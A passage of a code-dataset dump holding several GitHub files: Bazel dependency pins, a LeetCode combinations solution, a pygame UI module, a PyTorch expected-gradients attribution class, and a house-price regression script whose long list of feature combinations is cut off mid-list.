\"https://github.com/aspect-build/rules_js/archive/refs/tags/v1.1.0.tar.gz\",\n )\n\n http_archive(\n name = \"aspect_bazel_lib\",\n sha256 = \"8ea64f13c6db68356355d6a97dced3d149e9cd7ba3ecb4112960586e914e466d\",\n strip_prefix = \"bazel-lib-1.11.1\",\n url = \"https://github.com/aspect-build/bazel-lib/archive/refs/tags/v1.11.1.tar.gz\",\n )\n\n http_archive(\n name = \"rules_python\",\n sha256 = \"c03246c11efd49266e8e41e12931090b613e12a59e6f55ba2efd29a7cb8b4258\",\n strip_prefix = \"rules_python-0.11.0\",\n url = \"https://github.com/bazelbuild/rules_python/archive/refs/tags/0.11.0.tar.gz\",\n )\n\n http_jar(\n name = \"google-java-format\",\n sha256 = \"a356bb0236b29c57a3ab678f17a7b027aad603b0960c183a18f1fe322e4f38ea\",\n url = \"https://github.com/google/google-java-format/releases/download/v1.15.0/google-java-format-1.15.0-all-deps.jar\",\n )\n\n http_archive(\n name = \"io_bazel_rules_go\",\n sha256 = \"099a9fb96a376ccbbb7d291ed4ecbdfd42f6bc822ab77ae6f1b5cb9e914e94fa\",\n urls = [\n \"https://mirror.bazel.build/github.com/bazelbuild/rules_go/releases/download/v0.35.0/rules_go-v0.35.0.zip\",\n \"https://github.com/bazelbuild/rules_go/releases/download/v0.35.0/rules_go-v0.35.0.zip\",\n ],\n )\n\n http_archive(\n name = \"buf\",\n sha256 = \"6c1e7258b79273c60085df8825a52a5ee306530e7327942c91ec84545cd2d40a\",\n url = \"https://github.com/bufbuild/buf/releases/download/v1.9.0/buf-Linux-x86_64.tar.gz\",\n strip_prefix = \"buf\",\n build_file_content = \"\"\"exports_files([\"bin/buf\"], visibility = [\"//visibility:public\"])\"\"\",\n )\n\n http_archive(\n name = \"buf_mac\",\n sha256 = \"27ea882bdaf5a4e46410fb3f5ef3507f6ce65cc8e6f4c943c37e89683b2866fb\",\n url = \"https://github.com/bufbuild/buf/releases/download/v1.9.0/buf-Darwin-x86_64.tar.gz\",\n strip_prefix = \"buf\",\n build_file_content = \"\"\"exports_files([\"bin/buf\"], visibility = [\"//visibility:public\"])\"\"\",\n )\n","repo_name":"gmishkin/bazel-super-formatter","sub_path":"format/repositories.bzl","file_name":"repositories.bzl","file_ext":"bzl","file_size_in_byte":5467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"}
+{"seq_id":"43305776503","text":"#\n# @lc app=leetcode id=77 lang=python\n#\n# [77] Combinations\n#\n\n# @lc code=start\nclass Solution(object):\n def combine(self, n, k):\n \"\"\"\n :type n: int\n :type k: int\n :rtype: List[List[int]]\n \"\"\"\n self.res = [[]]\n self.k = k\n self._subset(n)\n return [x for x in self.res if len(x) == k]\n\n def _subset(self, n):\n if not n:\n return\n for r in self.res[:]:\n if len(r) < self.k:\n t = r[:]\n t.append(n)\n self.res.append(t)\n self._subset(n-1)\n\n# @lc code=end\n\n#print Solution().combine(4,2)\n","repo_name":"atalia/leetcode","sub_path":"77.combinations.py","file_name":"77.combinations.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"26209166780","text":"import pygame\nimport classes\nfrom entity import Entity\nfrom colors import *\n\nCONFIRM_WIDTH = 200\nCONFIRM_HEIGHT = 200\nCONFIRM_LEFT_MARGIN = 800\nCONFIRM_TOP_MARGIN = 500\n\nclass Confirm(Entity):\n def __init__(self, controller, fontObj, ship, weapon, target):\n self._controller = controller\n self._size = (CONFIRM_WIDTH,CONFIRM_HEIGHT)\n self._surface = pygame.Surface(self._size)\n self._fontObj = fontObj\n self.ship = ship\n self.weapon = weapon\n self.target = target\n self._highlighted = False\n self._mousePosition = None\n\n def draw(self):\n highlighted = True if self._mousePosition else False\n return drawConfirmAction(self._fontObj, self.ship, self.weapon, self.target, highlighted)\n\n def clicked(self, mousex, mousey):\n if 0 <= mousex <= self._size[0] and 0 <= mousey <= self._size[1]:\n self._controller.actionConfirmed()\n\n def setMousePosition(self, mousex, mousey):\n if 0 <= mousex <= self._size[0] and 0 <= mousey <= self._size[1]:\n self._mousePosition = (mousex,mousey)\n else:\n self._mousePosition = None\n\n def highlight(self, value):\n self._highlighted = value\n\ndef drawConfirmAction(fontObj, ship, weapon, target, highlighted):\n\timage = pygame.Surface((CONFIRM_WIDTH,CONFIRM_HEIGHT))\n\n\toutline_color = OUTLINE_HIGHLIGHT if highlighted else OUTLINE_READY if ship.available() and weapon.available() else OUTLINE_SPENT\n\tpygame.draw.rect(image, outline_color, (0, 0, CONFIRM_WIDTH, CONFIRM_HEIGHT), 10)\n\n\tattack = ship.performAttack(weapon, target)\n\trolls = drawWeaponRolls(fontObj, attack.weapon().rolls)\n\timage.blit(rolls, (50, 50))\n\tweaponType = drawWeaponType(fontObj, attack.weapon().weaponType)\n\timage.blit(weaponType, (100, 50))\n\tdamage = drawWeaponStats(fontObj, attack.weapon())\n\timage.blit(damage, (100, 50))\n\n\ttextSurfaceObj = fontObj.render('FIRE!', True, WHITE)\n\ttextRectObj = textSurfaceObj.get_rect()\n\ttextRectObj.center = (CONFIRM_WIDTH / 2, CONFIRM_HEIGHT * 3/4)\n\timage.blit(textSurfaceObj, textRectObj)\n\n\treturn image\n\ndef drawWeaponType(fontObj, weaponType):\n assert weaponType.isOneOf((classes.WEAPON_KINETIC, classes.WEAPON_LASER,\n classes.WEAPON_GUIDED)), \"Pass a WEAPONTYPE to the drawWeaponType function.\"\n\n image = pygame.Surface((40, 40))\n pygame.draw.rect(image, BLUE, (0, 0, 40, 40), 3)\n\n text = \"K\" if weaponType.isType(classes.WEAPON_KINETIC) else \"L\" if weaponType.isType(classes.WEAPON_LASER) else \"G\"\n\n textSurfaceObj = fontObj.render(text, True, WHITE)\n textRectObj = textSurfaceObj.get_rect()\n textRectObj.center = (20, 20)\n image.blit(textSurfaceObj, textRectObj)\n\n return image\n\n\ndef drawWeaponRolls(fontObj, rolls):\n image = pygame.Surface((40, 40))\n pygame.draw.rect(image, BLUE, (0, 0, 40, 40), 3)\n\n textSurfaceObj = fontObj.render(str(rolls), True, WHITE)\n textRectObj = textSurfaceObj.get_rect()\n textRectObj.center = (20, 20)\n image.blit(textSurfaceObj, textRectObj)\n\n return image\n\ndef drawWeaponStats(fontObj, weapon):\n\timage = pygame.Surface((80, 40))\n\tpygame.draw.rect(image, BLUE, (0, 0, 80, 40), 3)\n\n\ttextSurfaceObj = fontObj.render(str(weapon.mount.accuracy()), True, WHITE)\n\ttextRectObj = textSurfaceObj.get_rect()\n\ttextRectObj.center = (20, 20)\n\timage.blit(textSurfaceObj, textRectObj)\n\n\ttextSurfaceObj = fontObj.render(str(weapon.mount.damage()), True, WHITE)\n\ttextRectObj = textSurfaceObj.get_rect()\n\ttextRectObj.center = (50, 20)\n\timage.blit(textSurfaceObj, textRectObj)\n\n\treturn image\n","repo_name":"ErikRoelofs/pygame-tryout","sub_path":"ui/confirm.py","file_name":"confirm.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"41877069087","text":"import torch\nimport torch.utils.data\n\nfrom .IG_SG import IntGradSG\n\n\nclass ExpectedGradients(IntGradSG):\n def __init__(self, model, k, bg_size, bg_dataset, batch_size, random_alpha=True, est_method='vanilla', exp_obj='logit'):\n super(ExpectedGradients, self).__init__(model, k, bg_size, random_alpha, est_method, exp_obj)\n self.bg_size = bg_size\n self.random_alpha = random_alpha\n self.ref_sampler = torch.utils.data.DataLoader(\n dataset=bg_dataset,\n batch_size=bg_size*batch_size,\n shuffle=True,\n pin_memory=False,\n drop_last=False)\n\n self.est_method = est_method\n self.exp_obj = exp_obj\n\n def _get_ref_batch(self):\n return next(iter(self.ref_sampler))[0].float()\n\n def chew_input(self, input_tensor):\n \"\"\"\n Calculate expected gradients for the sample ``input_tensor``.\n\n Args:\n model (torch.nn.Module): Pytorch neural network model for which the\n output should be explained.\n input_tensor (torch.Tensor): Pytorch tensor representing the input\n to be explained.\n sparse_labels (optional, default=None):\n inter (optional, default=None)\n \"\"\"\n shape = list(input_tensor.shape)\n shape.insert(1, self.bg_size)\n\n ref = self._get_ref_batch()\n reference_tensor = ref.view(*shape).cuda()\n\n if ref.shape[0] != input_tensor.shape[0]*self.k:\n reference_tensor = reference_tensor[:input_tensor.shape[0]*self.k]\n multi_ref_tensor = reference_tensor.repeat(1, self.k, 1, 1, 1)\n\n samples_input = self._get_samples_input(input_tensor, multi_ref_tensor)\n return input_tensor, samples_input, reference_tensor\n","repo_name":"ypeiyu/attribution_recalibration","sub_path":"saliency_methods/expected_grad.py","file_name":"expected_grad.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"}
+{"seq_id":"1025717734","text":"#i19-0542, Mohammad Shazil Mahmood, CS-E\r\n#i19-2172, Hannan Ali, CS-E\r\n#k19-1257, Umer Rashid, CS-E\r\n\r\nimport pandas as pd\r\nfrom sklearn import linear_model\r\nimport time\r\nstart_time = time.time()\r\n\r\npath = __file__\r\nfile_name=path.split(\"\\\\\")\r\ndir=\"\"\r\nfor i in range(len(file_name)-1):\r\n dir=dir+file_name[i]+\"\\\\\"\r\n\r\nfeature_set=[['Level'],\r\n['Area'],\r\n['Floor'],\r\n['Rooms'],\r\n['Pool'],\r\n['Garage'],\r\n['Garden'],\r\n['Age'],\r\n['Theater'],\r\n['Level','Area'],\r\n['Level','Floor'],\r\n['Level','Rooms'],\r\n['Level','Pool'],\r\n['Level','Garage'],\r\n['Level','Garden'],\r\n['Level','Age'],\r\n['Level','Theater'],\r\n['Area','Floor'],\r\n['Area','Rooms'],\r\n['Area','Pool'],\r\n['Area','Garage'],\r\n['Area','Garden'],\r\n['Area','Age'],\r\n['Area','Theater'],\r\n['Floor','Rooms'],\r\n['Floor','Pool'],\r\n['Floor','Garage'],\r\n['Floor','Garden'],\r\n['Floor','Age'],\r\n['Floor','Theater'],\r\n['Rooms','Pool'],\r\n['Rooms','Garage'],\r\n['Rooms','Garden'],\r\n['Rooms','Age'],\r\n['Rooms','Theater'],\r\n['Pool','Garage'],\r\n['Pool','Garden'],\r\n['Pool','Age'],\r\n['Pool','Theater'],\r\n['Garage','Garden'],\r\n['Garage','Age'],\r\n['Garage','Theater'],\r\n['Garden','Age'],\r\n['Garden','Theater'],\r\n['Age','Theater'],\r\n['Level','Area','Floor'],\r\n['Level','Area','Rooms'],\r\n['Level','Area','Pool'],\r\n['Level','Area','Garage'],\r\n['Level','Area','Garden'],\r\n['Level','Area','Age'],\r\n['Level','Area','Theater'],\r\n['Level','Floor','Rooms'],\r\n['Level','Floor','Pool'],\r\n['Level','Floor','Garage'],\r\n['Level','Floor','Garden'],\r\n['Level','Floor','Age'],\r\n['Level','Floor','Theater'],\r\n['Level','Rooms','Pool'],\r\n['Level','Rooms','Garage'],\r\n['Level','Rooms','Garden'],\r\n['Level','Rooms','Age'],\r\n['Level','Rooms','Theater'],\r\n['Level','Pool','Garage'],\r\n['Level','Pool','Garden'],\r\n['Level','Pool','Age'],\r\n['Level','Pool','Theater'],\r\n['Level','Garage','Garden'],\r\n['Level','Garage','Age'],\r\n['Level','Garage','Theater'],\r\n['Level','Garden','Age'],\r\n['Level','Garden','Theater'],\r\n['Level','Age','Theater'],\r\n['Area','Floor','Rooms'],\r\n['Area','Floor','Pool'],\r\n['Area','Floor','Garage'],\r\n['Area','Floor','Garden'],\r\n['Area','Floor','Age'],\r\n['Area','Floor','Theater'],\r\n['Area','Rooms','Pool'],\r\n['Area','Rooms','Garage'],\r\n['Area','Rooms','Garden'],\r\n['Area','Rooms','Age'],\r\n['Area','Rooms','Theater'],\r\n['Area','Pool','Garage'],\r\n['Area','Pool','Garden'],\r\n['Area','Pool','Age'],\r\n['Area','Pool','Theater'],\r\n['Area','Garage','Garden'],\r\n['Area','Garage','Age'],\r\n['Area','Garage','Theater'],\r\n['Area','Garden','Age'],\r\n['Area','Garden','Theater'],\r\n['Area','Age','Theater'],\r\n['Floor','Rooms','Pool'],\r\n['Floor','Rooms','Garage'],\r\n['Floor','Rooms','Garden'],\r\n['Floor','Rooms','Age'],\r\n['Floor','Rooms','Theater'],\r\n['Floor','Pool','Garage'],\r\n['Floor','Pool','Garden'],\r\n['Floor','Pool','Age'],\r\n['Floor','Pool','Theater'],\r\n['Floor','Garage','Garden'],\r\n['Floor','Garage','Age'],\r\n['Floor','Garage','Theater'],\r\n['Floor','Garden','Age'],\r\n['Floor','Garden','Theater'],\r\n['Floor','Age','Theater'],\r\n['Rooms','Pool','Garage'],\r\n['Rooms','Pool','Garden'],\r\n['Rooms','Pool','Age'],\r\n['Rooms','Pool','Theater'],\r\n['Rooms','Garage','Garden'],\r\n['Rooms','Garage','Age'],\r\n['Rooms','Garage','Theater'],\r\n['Rooms','Garden','Age'],\r\n['Rooms','Garden','Theater'],\r\n['Rooms','Age','Theater'],\r\n['Pool','Garage','Garden'],\r\n['Pool','Garage','Age'],\r\n['Pool','Garage','Theater'],\r\n['Pool','Garden','Age'],\r\n['Pool','Garden','Theater'],\r\n['Pool','Age','Theater'],\r\n['Garage','Garden','Age'],\r\n['Garage','Garden','Theater'],\r\n['Garage','Age','Theater'],\r\n['Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms'],\r\n['Level','Area','Floor','Pool'],\r\n['Level','Area','Floor','Garage'],\r\n['Level','Area','Floor','Garden'],\r\n['Level','Area','Floor','Age'],\r\n['Level','Area','Floor','Theater'],\r\n['Level','Area','Rooms','Pool'],\r\n['Level','Area','Rooms','Garage'],\r\n['Level','Area','Rooms','Garden'],\r\n['Level','Area','Rooms','Age'],\r\n['Level','Area','Rooms','Theater'],\r\n['Level','Area','Pool','Garage'],\r\n['Level','Area','Pool','Garden'],\r\n['Level','Area','Pool','Age'],\r\n['Level','Area','Pool','Theater'],\r\n['Level','Area','Garage','Garden'],\r\n['Level','Area','Garage','Age'],\r\n['Level','Area','Garage','Theater'],\r\n['Level','Area','Garden','Age'],\r\n['Level','Area','Garden','Theater'],\r\n['Level','Area','Age','Theater'],\r\n['Level','Floor','Rooms','Pool'],\r\n['Level','Floor','Rooms','Garage'],\r\n['Level','Floor','Rooms','Garden'],\r\n['Level','Floor','Rooms','Age'],\r\n['Level','Floor','Rooms','Theater'],\r\n['Level','Floor','Pool','Garage'],\r\n['Level','Floor','Pool','Garden'],\r\n['Level','Floor','Pool','Age'],\r\n['Level','Floor','Pool','Theater'],\r\n['Level','Floor','Garage','Garden'],\r\n['Level','Floor','Garage','Age'],\r\n['Level','Floor','Garage','Theater'],\r\n['Level','Floor','Garden','Age'],\r\n['Level','Floor','Garden','Theater'],\r\n['Level','Floor','Age','Theater'],\r\n['Level','Rooms','Pool','Garage'],\r\n['Level','Rooms','Pool','Garden'],\r\n['Level','Rooms','Pool','Age'],\r\n['Level','Rooms','Pool','Theater'],\r\n['Level','Rooms','Garage','Garden'],\r\n['Level','Rooms','Garage','Age'],\r\n['Level','Rooms','Garage','Theater'],\r\n['Level','Rooms','Garden','Age'],\r\n['Level','Rooms','Garden','Theater'],\r\n['Level','Rooms','Age','Theater'],\r\n['Level','Pool','Garage','Garden'],\r\n['Level','Pool','Garage','Age'],\r\n['Level','Pool','Garage','Theater'],\r\n['Level','Pool','Garden','Age'],\r\n['Level','Pool','Garden','Theater'],\r\n['Level','Pool','Age','Theater'],\r\n['Level','Garage','Garden','Age'],\r\n['Level','Garage','Garden','Theater'],\r\n['Level','Garage','Age','Theater'],\r\n['Level','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool'],\r\n['Area','Floor','Rooms','Garage'],\r\n['Area','Floor','Rooms','Garden'],\r\n['Area','Floor','Rooms','Age'],\r\n['Area','Floor','Rooms','Theater'],\r\n['Area','Floor','Pool','Garage'],\r\n['Area','Floor','Pool','Garden'],\r\n['Area','Floor','Pool','Age'],\r\n['Area','Floor','Pool','Theater'],\r\n['Area','Floor','Garage','Garden'],\r\n['Area','Floor','Garage','Age'],\r\n['Area','Floor','Garage','Theater'],\r\n['Area','Floor','Garden','Age'],\r\n['Area','Floor','Garden','Theater'],\r\n['Area','Floor','Age','Theater'],\r\n['Area','Rooms','Pool','Garage'],\r\n['Area','Rooms','Pool','Garden'],\r\n['Area','Rooms','Pool','Age'],\r\n['Area','Rooms','Pool','Theater'],\r\n['Area','Rooms','Garage','Garden'],\r\n['Area','Rooms','Garage','Age'],\r\n['Area','Rooms','Garage','Theater'],\r\n['Area','Rooms','Garden','Age'],\r\n['Area','Rooms','Garden','Theater'],\r\n['Area','Rooms','Age','Theater'],\r\n['Area','Pool','Garage','Garden'],\r\n['Area','Pool','Garage','Age'],\r\n['Area','Pool','Garage','Theater'],\r\n['Area','Pool','Garden','Age'],\r\n['Area','Pool','Garden','Theater'],\r\n['Area','Pool','Age','Theater'],\r\n['Area','Garage','Garden','Age'],\r\n['Area','Garage','Garden','Theater'],\r\n['Area','Garage','Age','Theater'],\r\n['Area','Garden','Age','Theater'],\r\n['Floor','Rooms','Pool','Garage'],\r\n['Floor','Rooms','Pool','Garden'],\r\n['Floor','Rooms','Pool','Age'],\r\n['Floor','Rooms','Pool','Theater'],\r\n['Floor','Rooms','Garage','Garden'],\r\n['Floor','Rooms','Garage','Age'],\r\n['Floor','Rooms','Garage','Theater'],\r\n['Floor','Rooms','Garden','Age'],\r\n['Floor','Rooms','Garden','Theater'],\r\n['Floor','Rooms','Age','Theater'],\r\n['Floor','Pool','Garage','Garden'],\r\n['Floor','Pool','Garage','Age'],\r\n['Floor','Pool','Garage','Theater'],\r\n['Floor','Pool','Garden','Age'],\r\n['Floor','Pool','Garden','Theater'],\r\n['Floor','Pool','Age','Theater'],\r\n['Floor','Garage','Garden','Age'],\r\n['Floor','Garage','Garden','Theater'],\r\n['Floor','Garage','Age','Theater'],\r\n['Floor','Garden','Age','Theater'],\r\n['Rooms','Pool','Garage','Garden'],\r\n['Rooms','Pool','Garage','Age'],\r\n['Rooms','Pool','Garage','Theater'],\r\n['Rooms','Pool','Garden','Age'],\r\n['Rooms','Pool','Garden','Theater'],\r\n['Rooms','Pool','Age','Theater'],\r\n['Rooms','Garage','Garden','Age'],\r\n['Rooms','Garage','Garden','Theater'],\r\n['Rooms','Garage','Age','Theater'],\r\n['Rooms','Garden','Age','Theater'],\r\n['Pool','Garage','Garden','Age'],\r\n['Pool','Garage','Garden','Theater'],\r\n['Pool','Garage','Age','Theater'],\r\n['Pool','Garden','Age','Theater'],\r\n['Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool'],\r\n['Level','Area','Floor','Rooms','Garage'],\r\n['Level','Area','Floor','Rooms','Garden'],\r\n['Level','Area','Floor','Rooms','Age'],\r\n['Level','Area','Floor','Rooms','Theater'],\r\n['Level','Area','Floor','Pool','Garage'],\r\n['Level','Area','Floor','Pool','Garden'],\r\n['Level','Area','Floor','Pool','Age'],\r\n['Level','Area','Floor','Pool','Theater'],\r\n['Level','Area','Floor','Garage','Garden'],\r\n['Level','Area','Floor','Garage','Age'],\r\n['Level','Area','Floor','Garage','Theater'],\r\n['Level','Area','Floor','Garden','Age'],\r\n['Level','Area','Floor','Garden','Theater'],\r\n['Level','Area','Floor','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garage'],\r\n['Level','Area','Rooms','Pool','Garden'],\r\n['Level','Area','Rooms','Pool','Age'],\r\n['Level','Area','Rooms','Pool','Theater'],\r\n['Level','Area','Rooms','Garage','Garden'],\r\n['Level','Area','Rooms','Garage','Age'],\r\n['Level','Area','Rooms','Garage','Theater'],\r\n['Level','Area','Rooms','Garden','Age'],\r\n['Level','Area','Rooms','Garden','Theater'],\r\n['Level','Area','Rooms','Age','Theater'],\r\n['Level','Area','Pool','Garage','Garden'],\r\n['Level','Area','Pool','Garage','Age'],\r\n['Level','Area','Pool','Garage','Theater'],\r\n['Level','Area','Pool','Garden','Age'],\r\n['Level','Area','Pool','Garden','Theater'],\r\n['Level','Area','Pool','Age','Theater'],\r\n['Level','Area','Garage','Garden','Age'],\r\n['Level','Area','Garage','Garden','Theater'],\r\n['Level','Area','Garage','Age','Theater'],\r\n['Level','Area','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage'],\r\n['Level','Floor','Rooms','Pool','Garden'],\r\n['Level','Floor','Rooms','Pool','Age'],\r\n['Level','Floor','Rooms','Pool','Theater'],\r\n['Level','Floor','Rooms','Garage','Garden'],\r\n['Level','Floor','Rooms','Garage','Age'],\r\n['Level','Floor','Rooms','Garage','Theater'],\r\n['Level','Floor','Rooms','Garden','Age'],\r\n['Level','Floor','Rooms','Garden','Theater'],\r\n['Level','Floor','Rooms','Age','Theater'],\r\n['Level','Floor','Pool','Garage','Garden'],\r\n['Level','Floor','Pool','Garage','Age'],\r\n['Level','Floor','Pool','Garage','Theater'],\r\n['Level','Floor','Pool','Garden','Age'],\r\n['Level','Floor','Pool','Garden','Theater'],\r\n['Level','Floor','Pool','Age','Theater'],\r\n['Level','Floor','Garage','Garden','Age'],\r\n['Level','Floor','Garage','Garden','Theater'],\r\n['Level','Floor','Garage','Age','Theater'],\r\n['Level','Floor','Garden','Age','Theater'],\r\n['Level','Rooms','Pool','Garage','Garden'],\r\n['Level','Rooms','Pool','Garage','Age'],\r\n['Level','Rooms','Pool','Garage','Theater'],\r\n['Level','Rooms','Pool','Garden','Age'],\r\n['Level','Rooms','Pool','Garden','Theater'],\r\n['Level','Rooms','Pool','Age','Theater'],\r\n['Level','Rooms','Garage','Garden','Age'],\r\n['Level','Rooms','Garage','Garden','Theater'],\r\n['Level','Rooms','Garage','Age','Theater'],\r\n['Level','Rooms','Garden','Age','Theater'],\r\n['Level','Pool','Garage','Garden','Age'],\r\n['Level','Pool','Garage','Garden','Theater'],\r\n['Level','Pool','Garage','Age','Theater'],\r\n['Level','Pool','Garden','Age','Theater'],\r\n['Level','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage'],\r\n['Area','Floor','Rooms','Pool','Garden'],\r\n['Area','Floor','Rooms','Pool','Age'],\r\n['Area','Floor','Rooms','Pool','Theater'],\r\n['Area','Floor','Rooms','Garage','Garden'],\r\n['Area','Floor','Rooms','Garage','Age'],\r\n['Area','Floor','Rooms','Garage','Theater'],\r\n['Area','Floor','Rooms','Garden','Age'],\r\n['Area','Floor','Rooms','Garden','Theater'],\r\n['Area','Floor','Rooms','Age','Theater'],\r\n['Area','Floor','Pool','Garage','Garden'],\r\n['Area','Floor','Pool','Garage','Age'],\r\n['Area','Floor','Pool','Garage','Theater'],\r\n['Area','Floor','Pool','Garden','Age'],\r\n['Area','Floor','Pool','Garden','Theater'],\r\n['Area','Floor','Pool','Age','Theater'],\r\n['Area','Floor','Garage','Garden','Age'],\r\n['Area','Floor','Garage','Garden','Theater'],\r\n['Area','Floor','Garage','Age','Theater'],\r\n['Area','Floor','Garden','Age','Theater'],\r\n['Area','Rooms','Pool','Garage','Garden'],\r\n['Area','Rooms','Pool','Garage','Age'],\r\n['Area','Rooms','Pool','Garage','Theater'],\r\n['Area','Rooms','Pool','Garden','Age'],\r\n['Area','Rooms','Pool','Garden','Theater'],\r\n['Area','Rooms','Pool','Age','Theater'],\r\n['Area','Rooms','Garage','Garden','Age'],\r\n['Area','Rooms','Garage','Garden','Theater'],\r\n['Area','Rooms','Garage','Age','Theater'],\r\n['Area','Rooms','Garden','Age','Theater'],\r\n['Area','Pool','Garage','Garden','Age'],\r\n['Area','Pool','Garage','Garden','Theater'],\r\n['Area','Pool','Garage','Age','Theater'],\r\n['Area','Pool','Garden','Age','Theater'],\r\n['Area','Garage','Garden','Age','Theater'],\r\n['Floor','Rooms','Pool','Garage','Garden'],\r\n['Floor','Rooms','Pool','Garage','Age'],\r\n['Floor','Rooms','Pool','Garage','Theater'],\r\n['Floor','Rooms','Pool','Garden','Age'],\r\n['Floor','Rooms','Pool','Garden','Theater'],\r\n['Floor','Rooms','Pool','Age','Theater'],\r\n['Floor','Rooms','Garage','Garden','Age'],\r\n['Floor','Rooms','Garage','Garden','Theater'],\r\n['Floor','Rooms','Garage','Age','Theater'],\r\n['Floor','Rooms','Garden','Age','Theater'],\r\n['Floor','Pool','Garage','Garden','Age'],\r\n['Floor','Pool','Garage','Garden','Theater'],\r\n['Floor','Pool','Garage','Age','Theater'],\r\n['Floor','Pool','Garden','Age','Theater'],\r\n['Floor','Garage','Garden','Age','Theater'],\r\n['Rooms','Pool','Garage','Garden','Age'],\r\n['Rooms','Pool','Garage','Garden','Theater'],\r\n['Rooms','Pool','Garage','Age','Theater'],\r\n['Rooms','Pool','Garden','Age','Theater'],\r\n['Rooms','Garage','Garden','Age','Theater'],\r\n['Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage'],\r\n['Level','Area','Floor','Rooms','Pool','Garden'],\r\n['Level','Area','Floor','Rooms','Pool','Age'],\r\n['Level','Area','Floor','Rooms','Pool','Theater'],\r\n['Level','Area','Floor','Rooms','Garage','Garden'],\r\n['Level','Area','Floor','Rooms','Garage','Age'],\r\n['Level','Area','Floor','Rooms','Garage','Theater'],\r\n['Level','Area','Floor','Rooms','Garden','Age'],\r\n['Level','Area','Floor','Rooms','Garden','Theater'],\r\n['Level','Area','Floor','Rooms','Age','Theater'],\r\n['Level','Area','Floor','Pool','Garage','Garden'],\r\n['Level','Area','Floor','Pool','Garage','Age'],\r\n['Level','Area','Floor','Pool','Garage','Theater'],\r\n['Level','Area','Floor','Pool','Garden','Age'],\r\n['Level','Area','Floor','Pool','Garden','Theater'],\r\n['Level','Area','Floor','Pool','Age','Theater'],\r\n['Level','Area','Floor','Garage','Garden','Age'],\r\n['Level','Area','Floor','Garage','Garden','Theater'],\r\n['Level','Area','Floor','Garage','Age','Theater'],\r\n['Level','Area','Floor','Garden','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garage','Garden'],\r\n['Level','Area','Rooms','Pool','Garage','Age'],\r\n['Level','Area','Rooms','Pool','Garage','Theater'],\r\n['Level','Area','Rooms','Pool','Garden','Age'],\r\n['Level','Area','Rooms','Pool','Garden','Theater'],\r\n['Level','Area','Rooms','Pool','Age','Theater'],\r\n['Level','Area','Rooms','Garage','Garden','Age'],\r\n['Level','Area','Rooms','Garage','Garden','Theater'],\r\n['Level','Area','Rooms','Garage','Age','Theater'],\r\n['Level','Area','Rooms','Garden','Age','Theater'],\r\n['Level','Area','Pool','Garage','Garden','Age'],\r\n['Level','Area','Pool','Garage','Garden','Theater'],\r\n['Level','Area','Pool','Garage','Age','Theater'],\r\n['Level','Area','Pool','Garden','Age','Theater'],\r\n['Level','Area','Garage','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage','Garden'],\r\n['Level','Floor','Rooms','Pool','Garage','Age'],\r\n['Level','Floor','Rooms','Pool','Garage','Theater'],\r\n['Level','Floor','Rooms','Pool','Garden','Age'],\r\n['Level','Floor','Rooms','Pool','Garden','Theater'],\r\n['Level','Floor','Rooms','Pool','Age','Theater'],\r\n['Level','Floor','Rooms','Garage','Garden','Age'],\r\n['Level','Floor','Rooms','Garage','Garden','Theater'],\r\n['Level','Floor','Rooms','Garage','Age','Theater'],\r\n['Level','Floor','Rooms','Garden','Age','Theater'],\r\n['Level','Floor','Pool','Garage','Garden','Age'],\r\n['Level','Floor','Pool','Garage','Garden','Theater'],\r\n['Level','Floor','Pool','Garage','Age','Theater'],\r\n['Level','Floor','Pool','Garden','Age','Theater'],\r\n['Level','Floor','Garage','Garden','Age','Theater'],\r\n['Level','Rooms','Pool','Garage','Garden','Age'],\r\n['Level','Rooms','Pool','Garage','Garden','Theater'],\r\n['Level','Rooms','Pool','Garage','Age','Theater'],\r\n['Level','Rooms','Pool','Garden','Age','Theater'],\r\n['Level','Rooms','Garage','Garden','Age','Theater'],\r\n['Level','Pool','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage','Garden'],\r\n['Area','Floor','Rooms','Pool','Garage','Age'],\r\n['Area','Floor','Rooms','Pool','Garage','Theater'],\r\n['Area','Floor','Rooms','Pool','Garden','Age'],\r\n['Area','Floor','Rooms','Pool','Garden','Theater'],\r\n['Area','Floor','Rooms','Pool','Age','Theater'],\r\n['Area','Floor','Rooms','Garage','Garden','Age'],\r\n['Area','Floor','Rooms','Garage','Garden','Theater'],\r\n['Area','Floor','Rooms','Garage','Age','Theater'],\r\n['Area','Floor','Rooms','Garden','Age','Theater'],\r\n['Area','Floor','Pool','Garage','Garden','Age'],\r\n['Area','Floor','Pool','Garage','Garden','Theater'],\r\n['Area','Floor','Pool','Garage','Age','Theater'],\r\n['Area','Floor','Pool','Garden','Age','Theater'],\r\n['Area','Floor','Garage','Garden','Age','Theater'],\r\n['Area','Rooms','Pool','Garage','Garden','Age'],\r\n['Area','Rooms','Pool','Garage','Garden','Theater'],\r\n['Area','Rooms','Pool','Garage','Age','Theater'],\r\n['Area','Rooms','Pool','Garden','Age','Theater'],\r\n['Area','Rooms','Garage','Garden','Age','Theater'],\r\n['Area','Pool','Garage','Garden','Age','Theater'],\r\n['Floor','Rooms','Pool','Garage','Garden','Age'],\r\n['Floor','Rooms','Pool','Garage','Garden','Theater'],\r\n['Floor','Rooms','Pool','Garage','Age','Theater'],\r\n['Floor','Rooms','Pool','Garden','Age','Theater'],\r\n['Floor','Rooms','Garage','Garden','Age','Theater'],\r\n['Floor','Pool','Garage','Garden','Age','Theater'],\r\n['Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Garden'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Age'],